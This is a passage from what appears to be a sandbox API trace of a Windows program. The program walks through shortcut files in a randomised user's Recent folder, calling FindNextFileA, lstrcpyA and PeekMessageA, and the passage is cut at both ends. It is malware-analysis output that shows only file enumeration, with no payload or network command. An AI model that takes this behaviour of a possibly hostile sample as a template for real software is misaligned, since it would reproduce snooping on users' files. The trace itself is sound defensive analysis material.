wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.765] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\w XqRmg.lnk") returned="w XqRmg.lnk" [0088.765] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.765] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.765] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0e37860, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe0e37860, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe0e5d9c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xf4a, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="WelGXT.lnk", cAlternateFileName="")) returned 1 [0088.765] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.766] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\W-pMNb4rl3xC.lnk") returned="W-pMNb4rl3xC.lnk" [0088.766] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.766] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.766] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2f18840, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2f18840, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe2f18840, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xec1, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="wnPsJ69.lnk", cAlternateFileName="")) returned 1 [0088.766] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.766] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\WelGXT.lnk") returned="WelGXT.lnk" [0088.766] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.766] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.766] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3b97bc0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe3b97bc0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe3b97bc0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x14c6, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="WnzXdtdRg47WLT.lnk", cAlternateFileName="WNZXDT~1.LNK")) returned 1 [0088.767] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.767] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\wnPsJ69.lnk") returned="wnPsJ69.lnk" [0088.767] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.767] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.767] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6f11780, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe6f11780, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe6f11780, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa38, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="Wp1_SD9RrtjTM.lnk", cAlternateFileName="WP1_SD~1.LNK")) returned 1 [0088.767] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.767] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\WnzXdtdRg47WLT.lnk") returned="WnzXdtdRg47WLT.lnk" [0088.767] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.767] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.767] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2e34000, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe5280f80, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe5280f80, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x998, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="xAj0Z4ZNL.lnk", cAlternateFileName="XAJ0Z4~1.LNK")) returned 1 [0088.768] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.768] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Wp1_SD9RrtjTM.lnk") returned="Wp1_SD9RrtjTM.lnk" [0088.768] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.768] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.768] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3d3aae0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe3d3aae0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe3d3aae0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x9cd, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="xdo2AKI5-.flv.lnk", cAlternateFileName="XDO2AK~1.LNK")) returned 1 [0088.768] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.768] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\xAj0Z4ZNL.lnk") returned="xAj0Z4ZNL.lnk" [0088.768] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.768] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.768] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5f98880, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe5f98880, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe5f98880, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa05, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="XhJQVMj9.lnk", cAlternateFileName="")) returned 1 [0088.769] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.769] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\xdo2AKI5-.flv.lnk") returned="xdo2AKI5-.flv.lnk" [0088.769] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.769] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.769] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe37936a0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe37936a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe37936a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x2224, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="xssw2DT1p4gT.flv.lnk", cAlternateFileName="XSSW2D~1.LNK")) returned 1 [0088.769] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.769] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\XhJQVMj9.lnk") returned="XhJQVMj9.lnk" [0088.769] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.769] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.769] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2fb0dc0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2fb0dc0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe2fb0dc0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x232, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="XT0VlVv.lnk", cAlternateFileName="")) returned 1 [0088.769] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.770] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\xssw2DT1p4gT.flv.lnk") returned="xssw2DT1p4gT.flv.lnk" [0088.770] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.770] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.770] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4308080, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe4308080, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe4308080, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x25c, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="xYWU62SgPrWtaVX.lnk", cAlternateFileName="XYWU62~1.LNK")) returned 1 [0088.770] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.770] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\XT0VlVv.lnk") returned="XT0VlVv.lnk" [0088.770] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.770] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.770] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1b4f160, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe5eda1a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe5eda1a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xe5a, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="y8IVNv_s7Bt.lnk", cAlternateFileName="Y8IVNV~1.LNK")) returned 1 [0088.770] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.771] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\xYWU62SgPrWtaVX.lnk") returned="xYWU62SgPrWtaVX.lnk" [0088.771] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.771] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.771] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3c09fe0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe3c09fe0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe3c09fe0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x266, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="yDd9G 0NiTY40dtCu.lnk", cAlternateFileName="YDD9G0~1.LNK")) returned 1 [0088.771] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.771] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\y8IVNv_s7Bt.lnk") returned="y8IVNv_s7Bt.lnk" [0088.771] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.771] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.771] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe41fd6e0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe41fd6e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe4223840, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xf4d, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="YgI8i5AJKU-OI.lnk", cAlternateFileName="YGI8I5~1.LNK")) returned 1 [0088.771] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.771] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\yDd9G 0NiTY40dtCu.lnk") returned="yDd9G 0NiTY40dtCu.lnk" [0088.772] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.772] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.772] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf6dc080, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf6dc080, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf6dc080, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x1ab6, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="yoQ 3YYNx8An6Wm.lnk", cAlternateFileName="YOQ3YY~1.LNK")) returned 1 [0088.772] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.772] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\YgI8i5AJKU-OI.lnk") returned="YgI8i5AJKU-OI.lnk" [0088.772] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.772] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.772] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2997560, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe477e9c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe477e9c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa06, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="yZSY8MKRD4kJShU24AVn.lnk", cAlternateFileName="YZSY8M~1.LNK")) returned 1 [0088.772] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.772] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\yoQ 3YYNx8An6Wm.lnk") returned="yoQ 3YYNx8An6Wm.lnk" [0088.773] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.773] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.773] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2d29660, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe4674020, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe4674020, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xea0, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="z51nBz3.lnk", cAlternateFileName="")) returned 1 [0088.773] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.773] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\yZSY8MKRD4kJShU24AVn.lnk") returned="yZSY8MKRD4kJShU24AVn.lnk" [0088.773] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.773] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS 